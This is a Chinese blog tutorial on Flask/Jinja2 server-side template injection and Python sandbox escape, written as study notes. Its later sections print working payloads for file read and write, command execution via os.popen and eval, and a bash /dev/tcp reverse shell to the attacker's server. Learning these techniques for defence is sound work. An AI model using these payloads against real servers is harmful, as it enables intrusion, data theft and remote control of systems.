内容纲要

前言

本来周末是想继续学习 PHP-FPM 相关利用方式的 , 但早上课间有个朋友问了我一道关于 Python Template Injection 的题目 . 因为之前遇到过类似问题 , 所以我知道具体的 Payload 是如何构造的 , 但一直没有专门去研究原理 , 借这个机会刚好学习一波~

然后在学习过程中接触到了 Python 沙箱逃逸的相关内容 .

 沙箱是一种按照安全策略限制程序行为的执行环境 . 

 沙箱逃逸是在给我们的一个代码执行环境下 , 脱离种种过滤和限制 , 最终成功拿到 shell 权限的过程 .

而 SSTi 就是沙箱逃逸的一种利用方式 , 因此这里结合两者来简单学习一下~


基础内容

对我这种初学者来说 , 还是先来看一些基础内容吧 , 如果您对 Flask 比较熟悉可以直接跳转到 SSTI 漏洞分析部分 .

SSTI( Server-Side Template Injection )

SSTI漏洞( 服务端模板注入漏洞 ) , 是模板引擎在使用渲染函数时 , 由于代码不规范或盲目信任用户输入而导致的代码注入漏洞 .

模板引擎渲染函数 本身是没有漏洞的 , 该漏洞的产生原因在于程序员对代码的不严禁与不规范 , 导致了模板可控 , 从而引发代码注入 .

很多框架都可能产生 SSTI 漏洞 , 比如 Python 的 Jinja2 , mako , tornado , django 框架 . PHP 的 smarty , twig 框架 . Java 的 jade , velocity 框架 .

但是我实在太菜了 , 上面所讲的几个框架我都没有专门研究过 . 因此这里就以 Python 的 Flask 框架为例( Flask 使用 Jinja2 作为模板引擎 ) , 结合具体的例子来学习一下 SSTI 及其利用方式 .

模板引擎

上面提到了模板引擎这个东西 , 那么到底什么是模板引擎呢 ?

 模板引擎是以业务逻辑层和表现层分离为目的的,将规定格式的模板代码转换为业务数据的算法实现 . 

上面这种说法有些官方 , 简单的说 , 模板引擎用于让站点实现界面与数据相分离 , 业务代码与逻辑代码相分离 , 这样可以很大程度的提升程序员的开发效率 , 并且良好的设计可以让代码重用变得更加容易 .

更加通俗的说 , 整个过程就是 将已有的模板文件和获取到的用户数据通过模板引擎生成最终的 HTML 代码 , 最后返回给浏览器 , 这样效率高

模板引擎对于程序开发有很大的帮助 , 因此也出现了越来越多的模板引擎 . 但是新的模板引擎往往会有一些安全问题 , 即使大部分模板引擎有提供沙箱隔离机制 , 但同样存在沙箱逃逸技术来绕过 .


页面渲染

前面提到了渲染函数 , 那么到底什么是页面渲染呢?

事实上 , 页面渲染被分为 前端渲染后端渲染 , 知乎上的这些回答解释的都非常清楚 , 可以作为参考 .

前端渲染( SPA , 单页面应用 )

浏览器从服务器得到一些信息( 可能是 JSON 等各种数据交换格式所封装的数据包 , 也可能是合法的 HTML 字符串 ) , 浏览器将这些信息排列组合成人类可读的 HTML 字符串 . 然后解析为最终的 HTML 页面呈现给用户

前端渲染的整个过程都是由客户端浏览器完成的 , 因此对服务器后端的压力较小 , 仅需要传输数据即可 .

后端渲染( SSR , 服务器渲染 )

浏览器会直接接收到经过服务器计算并排列组合后的 HTML 字符串 , 浏览器仅需要将字符串解析为呈现给用户的 HTML 页面就可以了 .

后端渲染的整个过程都是由服务器完成的 , 因此对客户端浏览器的压力较小 , 大部分任务都在服务器端完成了 , 浏览器仅需要解析并呈现 HTML 页面即可 .


环境搭建

后面的内容会结合 Python Flask 框架 , 因此最好先在主机上搭建一个 Flask 环境 . Google 上大部分帖子都是使用 Pycharm 内置的 Flask 框架 , 这里也这么做 .

搭建好后默认界面是这样的

然后在浏览器 URL 栏键入 http://127.0.0.1:5000 即可看到欢迎界面

一些注意点 , 简单看下

  • Route装饰器路由

    使用 route() 装饰器告诉 Flask 框架什么样的 URL 能触发我们的函数. 它把一个函数绑定到对应的 URL 上 . 也就相当于路由,一个路由跟随一个函数 .

    上面这段代码的含义即为 : 当用户访问 Web 根目录( http://127.0.0.1:5000/ )时 , Flask 调用 hello_world() 函数 , 返回 " Hello World! " 字符串 .

    当然这仅是一个静态页面 , 你也可以设置动态页面

    然后在浏览器的 URL 中输入相应的 username

  • 开启 DEBUG 模式

    如果不开启 Debug 模式 , 则每次修改源文件后都需要重启服务 , 这是非常麻烦的 .

    在 Pycharm 中 , 是无法通过 app.debug = True 或者 app.run(Debug = True) 这样的方式开启 Debug 模式的 , 而是在 Run/Debug Configuration 中配置

    现在每次修改源文件后 , 仅需要保存并且刷新页面就可以看到内容更新了

    注意 , 实际运行环境时是不可开启 DEBUG 模式的 , 非常危险


渲染方法

Flask 中的渲染方法有两种 , 分别为 : render_template()render_template_string()

render_template()

使用 render_template() 函数来渲染一个指定的文件 , 这个指定的文件其实就是模板 . Flask 框架就是以模板注入闻名 , 其模板文件一般放在 template 目录下 , 我们在该目录下创建一个 HTML 文件 .

然后在 app.py 里创建路由与对应方法 .

最后在浏览器上访问 http://127.0.0.1:5000/hello 即可

Flask 是使用 Jinja2 作为渲染引擎的 . 在实际项目中 , 模板并不是纯 HTML 文件 , 而是一个夹杂模板语法的 HTML 文件 . 例如要使得页面的某些地方动态变化( 比如针对不同登录用户显示不同的用户名 ) , 就需要使用模板支持的语法来传参数 . 比如创建这样的路由

该条路由向 test1.html 这个模板传递了一个 content = "this is template" 的参数 . 模板为了获取到这个参数 , 则需要使用相应的语法

{{...}}在 Jinja2 中作为变量包裹标识符 . 用于打印模板输出的表达式 . 此时访问 http://127.0.0.1:5000/test1 , 可以看到输出内容

非常简单对吧~ 其实这并不是本章的重点 , 因为真正引发 SSTI 漏洞的并不是该函数 , 而是另外一个渲染函数 render_template_string() !

render_template_string()

render_template_string() 函数是用来渲染一个字符串的 . SSTI与这个函数密不可分 . 先看下该函数的用法 , 在 app.py 中设定如下路由

定义了一个字符串变量 , 然后通过 render_template_string() 函数渲染 . 其输出结果是这样的 .

而不正确的使用 render_template_string() 函数会产生 SSTI 漏洞 !


SSTI 漏洞成因及分析

那么到底如何使用 render_template_string() 函数算 " 不正确的使用 " 呢?


SSTi XSS

来看下面这条路由

以 GET 方式从 URL 处获取 code 参数的值 , 然后将它输出到页面 .

这段代码非常容易看出来存在安全隐患 . 后端没有对用户输入的内容进行过滤 , 就直接将它输出到页面 , 输入端是完全可控的 . 这就产生了代码域与数据域的混淆 . 这类情况十有八九都有 HTML 代码注入 . 随便给个 XSS 的 POC , 就可以触发弹窗 .

攻击者输入的代码和 HTML 拼接后直接带入渲染 , 然后被浏览器解析执行 , 从而实现了 HTML 代码注入 .


SSTi 导出环境变量

当然 , XSS 只是 SSTI 的一种利用方式 . 上文提到过 , 模板并不是纯 HTML 文件 , 而是一个夹杂模板语法的 HTML 文件 . 也就是说 , 模板文件中的内容会被模板渲染引擎解释 .

因此我们可以插入在服务端执行的代码 , 让这些代码在后端完成渲染 , 从而把我们的攻击链从客户端延伸至服务器 .

那么如何传输我们的代码呢 ? 这又要利用 Jinja2 模板引擎的特性了 . 上文提到过 , {{...}} 是 Jinja2 的变量包裹标识符 . 用于打印模板输出的表达式 . 因此 , {{...}}标识符可以完成一些基本的运算 . 就拿刚才的代码举个例子

code 参数的值是一个 {{...}} 标识符 , 该标识符内是一个计算表达式 . 参数值被传输到后端计算 , 然后将结果拼接到模板中 , 完成渲染后显示给用户 .

 测试时经常利用算数表达式来验证漏洞是否存在

 如果想利用加法计算来验证漏洞 , 需要将 " + " 编码为 " %2b " . 因为 URL 中 " + " 传到后台会变成空格

既然可以进行表达式的计算 , 那么如果表达式为某个变量呢? 参考这里 , 我们可以从 Flask 文档中找到几个有趣的变量 .


request.environ

request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " , 因此访问 request 对象可以看到当前的请求 .

看似拿不到什么有用的信息 , 但别急 . request 对象中有个 environ 对象名 , request.environ 是一个与服务器环境相关的对象字典 . 访问该字典可以拿到很多你期待的信息~


config.items

config 也是 Flask 框架中的一个全局对象,它代表 " 当前配置对象( flask.config ) ” , 它是一个类字典的对象 , 包含了所有应用程序的配置值 . 在大多数情况下 , 它包含了比如数据库链接字符串 , 连接到第三方的凭证 , SECRET_KEY等敏感值 .

能拿到的敏感信息实在太多 , 并且这些东西还能进行更深入的挖掘 , 可以参考上面给出的链接 , 这里就不多说了.


SSTi 任意文件读写

仅拿到系统部分配置肯定不能满足我们 , 如何进行更深层次的利用呢 ? 前辈们已经为我们指明了一条路 : 即利用 Python 中对象的继承来拿到我们想要的内容

具体是什么意思呢 ? 即拿到某个类型所属的对象 , 再找到该对象的子类 , 再在子类中寻找可以利用的模块 .

要实现具体的过程还需要一些 Python 基本知识~ 下面简单说一下

  1. 首先你需要了解 dir() 函数

    dir()函数不带参数时 , 返回当前范围内的变量、方法和定义的类型列表 . 带参数时 , 返回参数的属性、方法列表 . 如果参数包含方法__dir__() , 则该方法将被调用 . 如果参数不包含方法__dir__() , 该方法将最大限度地收集参数信息 . 下面写个 demo 来看下输出情况

  2. 其次你要了解 MRO( Method Resolution Order , 方法解析顺序 )

    对于支持继承的编程语言而言 , 其方法或者属性可能定义在当前类 , 也可能来源于基类 , 因此在调用方法或者属性时就会对当前类和基类进行搜索 , 从而确定方法或者属性的位置来源 . 这里的搜索顺序就叫做方法解析顺序( MRO ).

    Python 中一切变量皆对象 , 而 Python 的 Object 类中集成了很多基本函数 , 如果我们想要调用某个函数 , 就需要用 Object 类去操作 .

    如何得到 Object 类呢 ? 一般而言 , 我们是通过 __mro____bases__ 两个属性来创建 Object 类的 .

    __mro__ : 该属性将获取当前类的MRO , 也就是类的继承关系

    __bases__ : 该属性将获取上一层的继承关系 , 若是多层继承则会递归向上获取 , 因此可能有多个输出

    配合 Python 的基本数据类型( 字符串 , 元组 , 列表 , 字典 ) , 可以有很多方法拿到 Object 类

    拿到 Object 类后 , 可以利用该类的__subclasses__()方法来获得当前环境下能够访问的所有对象 .

    注意 ! 这里 Python2 和 Python3 输出的结果是不同的 . 因此后面很多 Payload 并不是双版本通用的

    • Python3

    • Python2

    因为返回是一个列表 , 所以可以利用相关函数拿到其中的每一项 . 那么拿到这些内容有什么用呢 ?

  3. 最后你要了解 Python 的模块导入机制

    import 导入模块时 , 首先会在 sys.modules 这个字典中查找是否已经加载了该模块 , 如果加载了则仅需将模块名称导入到当前 Local 命名空间中 . 若未加载则从 sys.path 目录中按照模块名称查找该模块文件( 模块可以以 .py , .pyc , .pyd 为后缀 ) ,找到后将模块载入到内存中 , 再添加到 sys.modules 字典中 , 最后将模块名称导入到当前 Local 命名空间中 .

    通过 from a import b 或者 import a as b 导入模块时 , a 模块会被添加到 sys.modules 字典中 , b 模块会被导入到当前 Local 命名空间中 . 如果嵌套导入( 比如导入的 a.py 模块中含有 import b ) , 则 a 模块和 b 模块都会被添加到 sys.modules 字典中 , 同时 a 模块会被导入到当前的 Local 命名空间 . 此时虽然 b模块也已经被加载到内存中了 , 但是若要访问则还需要再在本模块中 import b

    所有被导入模块都会被立即执行 , 根据上面的例子 , 如果导入的模块a中有另一个模块b , 则可以用 a.b.function() 来间接的访问 b.function() , 下面举个例子

    这样我们就间接调用了 os 模块的 system() 函数 . 这还不止一种方法 , 我们可以利用 __dict__ 属性来获取到 os 模块

    同样可以间接访问到 os 模块的 system() 函数

有了上面这些基础内容 , 就容易理解这个经典的 Payload 啦~

Payload : ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

当然 , 不仅可以读取文件 , 还可以写文件

Payload : ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')

注意 , 上述 Payload 仅在 Python2 环境下可以验证成功 , Python3 中删除了 <type 'file'>


SSTi 任意代码执行

SSTi 任意代码执行的思路和任意文件读取非常类似 , 仅需要拿到 os 模块就可以了 . 比如下面这个 Payload 可以读取当前目录下的文件 .

Payload : ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

注 : 这里调用 system() 函数是不可以的 . 前端仅会将渲染执行结果的最后一行输出 , 而使用 systen() 函数执行结果的最后一行为 " 0 "

当然还有其它可用的 Payload( 比如利用 eval() , __import__ 等全局函数 , 但原理都是调用 os 模块 ) , 这里就不一一列举了~

     #eval
     ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

     ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

     #__import__
     ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

     ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

SSTi 反弹 Shell

可以调用 os 模块 , 那就可以执行系统命令 , 也就可以反弹 Shell

Payload : ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()

注意 : 这个 Payload 不能直接放在 URL 中执行 , 因为 " & " 的存在会导致 URL 解析出现错误 .

可以使用 BurpSuite 等工具构造数据包再发送

当然 , 如果目标主机有 nc 或者 socat 之类的工具 , 就非常简单了~


参考链接

上面所有的 Payload 都仅适用于 Python2 , 那么 Python3 下有没有可用的 Payload 呢 ? 当然是有的 , 由于篇幅原因就丢几个参考链接吧~ 上述的很多内容也是从这里学到的 .

Flask/Jinja2 SSTI 学习

python沙箱逃逸与模板注入ssti一

python沙箱逃逸与模板注入ssti二

Python沙箱逃逸总结


总结

这次只是简单的看了下 SSTi . 学习过程中发现 Python 沙箱逃逸可以挖的非常深 , 深层次的内容以后再学习吧~

而且沙箱逃逸还牵扯到各种 Bypass 姿势 , 非常有意思.

这里记录两个链接 , 以后学习时再看

Python沙箱逃逸的n种姿势

Python 沙箱逃逸备忘

最后修改日期:2019年10月15日

作者

留言

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。